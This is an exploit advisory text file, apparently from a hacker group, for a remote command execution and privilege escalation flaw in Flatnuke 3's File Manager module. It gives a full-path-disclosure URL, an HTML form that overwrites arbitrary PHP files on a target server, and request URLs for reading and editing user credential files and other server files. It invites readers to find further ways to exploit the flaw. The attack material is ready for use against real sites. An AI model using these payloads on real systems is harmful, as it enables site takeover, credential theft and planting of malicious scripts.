flatnuke3-fm.txt

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____ __________ __ ____ __   
/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_   
| |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\  
| | | \ | |/ \ \___| | /_____/ | || |   
|___|___| /\__| /______ /\___ >__| |___||__|   
\/\______| \/ \/   
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Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org   
  
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Flatnuke 3 Remote Command Execution / Privilege Escalation  
  
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#By KiNgOfThEwOrLd  
  
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Corrupted Module: File Manager  
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PoC:  
  
Flatnuke doesn't use any database, so the registred users informations   
are located in a php file like   
/flatnuke3/misc/fndatabase/users/username.php . By the file manager   
module, the administrator, can upload, make, edit or delete some files,   
only while he's logging in. By the way, making a post whit the same   
request of that module, we can replace or edit a file, for example an   
user profile. So, there are a lot of way to exploit this vulnerability,   
we can edit the admin credentials, we can upload a malicious php script,   
and much more... But to exploit this vulnerability, we need to know the   
script path. We can get it generating a full path disclosure.   
  
  
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Full Path Disclosure Example:  
  
http://[target]/[flatnuke3_path]/index.php?mod=[forum_path]&op=disc&argumentname=[a_casual_char]  
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File Replace Exploit:  
  
<form method="post" action="http://[target]/[flatnuke3_path]/index.php?mod=none_filemanager&op="><textarea id="body" name="body" cols="90" rows="35">  
</textarea><br><input value="Save" type="submit"><input type="reset">  
<input name="opmod" value="save" type="hidden">  
<input name="ffile" value="[file_name].php" type="hidden">  
<input name="dir" value="/[script_path]/[file_path]" type="hidden"><input class="button" onclick="history.back()" value="Annulla" type="button"></form>  
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User Credential View/Edit Exploit:  
  
http://[target]/[flatnuke3_path]/index.php?mod=none_filemanager&dir=/[script_path]/[flatnuke3_path]/misc/fndatabase/users/&ffile=[username].php&opmod=open&op=  
  
Or, for example u can view and edit a file located on the server:  
  
http://[target]/[flatnuke3_path]/index.php?mod=none_filemanager&dir=/[script_path]/&ffile=[file]&opmod=open&op=  
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Do you wanna another way to exploit this vuln? Use your brain! :P  
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